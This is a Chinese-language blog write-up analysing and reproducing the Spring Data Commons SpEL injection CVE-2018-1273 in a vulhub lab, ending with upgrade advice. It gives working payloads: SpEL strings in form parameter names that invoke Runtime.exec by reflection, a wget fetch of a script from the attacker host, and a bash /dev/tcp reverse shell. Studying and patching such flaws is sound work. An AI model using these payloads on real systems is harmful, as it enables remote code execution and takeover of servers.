Spring Data Commons_CVE-2018-1273漏洞复现
本文最后更新于 2024-09-25,文章内容可能已经过时。
Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
一、漏洞简介
**Spring Data Commons 指定版本包含由于特殊元素的不正确中和而导致的属性绑定器漏洞。**未经身份验证的远程恶意用户(或攻击者)可以针对 Spring Data REST 支持的HTTP资源提供特制的请求参数或使用Spring Data的基于投影的请求进行有效负载绑定,这可能会导致远程执行代码攻击。
其实简单来讲就是 Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式进行远程代码执行。
该漏洞和Spring Cloud Function中的 SPEL 表达式注入漏洞很相似。
受影响版本:
-
Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
-
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
-
Spring Data Commons 2.0 - 2.0.5 (Kay SR5)
-
Spring Data REST 3.0 - 3.0.5 (Kay SR5)
二、基础知识
2.1 Spring Data Commons
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,包含Commons、Gemfire、JPA、JDBC、MongoDB等模块。而此漏洞产生于 Spring Data Commons 组件,该组件为提供共享的基础框架,适合各个子项目使用,支持跨数据库持久化。
2.2 SpEL表达式
Spring表达式语言全称 Spring Expression Language,支持查询和操作运行时对象导航图功能.。语法类似于传统EL,而且供额外的功能,能够进行函数调用和简单字符串的模板函数。
表达式语法:
/*直接量表达式*/
#{5}
#{'abc'}
#{'true'}
/*引用Bean并使用其属性与方法*/
#{a} //a为bean的id
#{a.b} //使用bean的属性
#{a.c()} //使用bean的方法
/*引用类的常量与方法*/
//在SpEL中访问类作用域的方法和常量的话,可以使用T()
T(java.lang.Math).PI //调用Math类的PI常量
T(java.lang.Math).random() //调用Math类的random()方法
/*利用SpEL表达式进行命令执行(弹出计算器)*/
/*方法一:*/
T(java.lang.Runtime).getRuntime().exec("calc")
/*方法二:(通过反射机制)*/
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")
三、漏洞分析
3.1 环境搭建
通过Git命令获取源码
git clone https://github.com/spring-projects/spring-data-examples/
这里由于在2.0.5版本中拒绝使用了SpEl表达式,所以需要回退到一个较早且存在漏洞的版本
git reset --hard ec94079b8f2b1e66414f410d89003bd333fb6e7d
此处使用官方的示例代码(https://github.com/spring-projects/spring-data-examples/),由于我们只需简单分析 Spring Data Commons 组件中漏洞点,所以无需部署整个示例项目。我们导入示例项目中的 web 模块下的 example 即可,我们下载好示例项目后,解压,然后只导入 web 下的 example 。
接着需要修改web/example中的pom.xml,将这个模块变为一个独立的项目。首先修改 parent 节点,指定使用版本为 2.0.0.RELEASE 的 Spring Boot ,该版本对应使用的就是含有此漏洞的 Spring Data Commons 2.0.5。
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.0.0.RELEASE</version>
<relativePath/>
</parent>
添加如下两个依赖,前者让该模块成为一个独立的Spring Boot项目,因为程序中使用了lombok,所以需要引入后者。
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<scope>provided</scope>
</dependency>
为了方便,可以将 src 下的 test 目录删除,因为测试代码需要引入junit包。
启动项目,访问 http://localhost:8080/users ,出现以下页面说明项目搭建成功。
3.2 漏洞分析
上述示例项目,主要是一个简单的注册页面,在这个项目中利用了 Spring Data 的相关 Web 特性,对输入参数(用户提交的form表单和key值)进行自动匹配,并进行相应处理。
示例项目部署完成后,访问http://localhost:8080/users,注册一个用户,并使用 Brup Suite 抓包,修改POST 正文参数,如下:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]=test&password=123456&repeatedPassword=123456
发送请求,请求完成后,即可发现计算器弹出,说明存在Spring Data Commons 远程命令执行漏洞。
由于 Spring MVC 框架会处理来自前端的页面的请求,并根据请求进行数据的封装,这不是此次漏洞的重点,于是我们将断点设置在 org.springframework.data.web.MapDataBinder.MapPropertyAccessor 中的 setPropertyValue()
方法处,而后使用调试模式重新启动项目。
当我们发送对应POST 请求之后,经过前面对应的数据处理,会到 setPropertyValue()
方法处,该方法会处理所有GET/POST请求的参数名与参数值。
在该方法中首先会调用 isWritableProperty()
方法,校验propertyName参数是否为 Controller 类中设置的Form 映射对象中的成员变量。
isWritableProperty() 方法中会调用 getPropertyPath()
方法,判断propertyName参数是否为 UserForm 中的属性值。这里就是判断 getPropertyPath() 方法的返回结果值是否为空,若不为空则返回 true,否则flase。(如图,这里判断出了propertyName参数是UserForm 中的属性值,所以返回true)
这个方法在进行判断时,会去除后" [ ] "以及其包裹的内容,而后与 UserForm 中的属性值做对比,因此我们使用的 payload 可以校验成功返回非空的结果。
当校验成功后,会进入 else 分支,实例化 StandardEvaluationContext 类,该类可以用于处理 SpEL 表达式,而后通过 PARSER.parseExpression()
来设置需要解析的表达式,这里并没有做任何过滤,而是直接设置解析的表达式。
布过几次后,发现,最后通过调用expression.setValue()
对SpEL表达式进行解析,从而触发漏洞。
F8布过后,成功弹出计算器。
注意这里我们使用的 paylaod 是通过反射的方式去利用,若直接使用以下paylaod,是无法利用成功的。
T(java.lang.Runtime).getRuntime().exec('calc.exe')
因为某些版本会识别 SpEL 表达式的关键词,并拒绝。所以要使用下面这种反射的方式进行利用:
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")
总的来说该漏洞就是是攻击者利用了 Sprng Data Commons 组件的相关特性对输入参数进行自动匹配时,会将用户提交的form表单和key值作为 SpEL 表达式的内容,而后执行,导致SpEL表达式注入漏洞。
四、漏洞复现
4.1 实验环境
攻击机:kali(ip:192.168.91.129)
被攻击主机:docker环境部署(ip:192.168.91.128)
漏洞环境:vulhub/spring-data-commons:2.0.5
搭建过程:
1.下载vulhub靶场文件(https://github.com/vulhub/vulhub)
2.解压后切换到指定目录,并使用docker-compose命令拉取docker环境并创建容器。
cd vulhub-master/spring/CVE-2018-1273/
docker-compose up -d
3.防火墙开放TCP的8080端口,而后访问8080端口,查看是否部署成功。
浏览器访问:http://192.168.91.128:8080/users/,如下即部署成功。
4.2 复现过程
在kali上的/tmp下编写一个shell脚本(shell.sh),用bash进行反弹shell,内容如下:
echo "bash -i >& /dev/tcp/192.168.91.129/4444 0>&1" >> /tmp/shell.sh
而后在kali的/tmp下,使用 “ python3 -m http.server ”,开启一个HTTP服务,访问 http://192.168.91.129:8000/ 查看有无对应文件,以便后续让服务器获取shell.sh。
kali上开启nc监控4444端口。
访问http://192.168.219.206:8080/users,注册一个用户,并使用 Brup Suite 抓包,放于repeater模块汇总,
修改POST 正文参数后发送,如下:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("wget+http://192.168.91.129:8000/shell.sh")]=test&password=123456&repeatedPassword=123456
发送完成后,再修改POST正文,让其执行shell.sh,如下:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash+shell.sh")]=test&password=123456&repeatedPassword=123456
而后查看kali,反弹shell成功。
五、修复建议
更新Spring Data Commons版本为已修复漏洞版本。
六、参考文章
- 【漏洞分析】CVE-2018-1273: RCE WITH SPRING DATA COMMONS 分析报告(http://blog.nsfocus.net/cve-2018-1273-analysis/)。
- Spring RCE漏洞分析2(CVE-2018-1273)(https://blog.csdn.net/qsort_/article/details/105938025)。
- 代码审计-Spring Data Commons RCE分析(https://blog.csdn.net/cdyunaq/article/details/124274289)。
- 感谢你赐予我前进的力量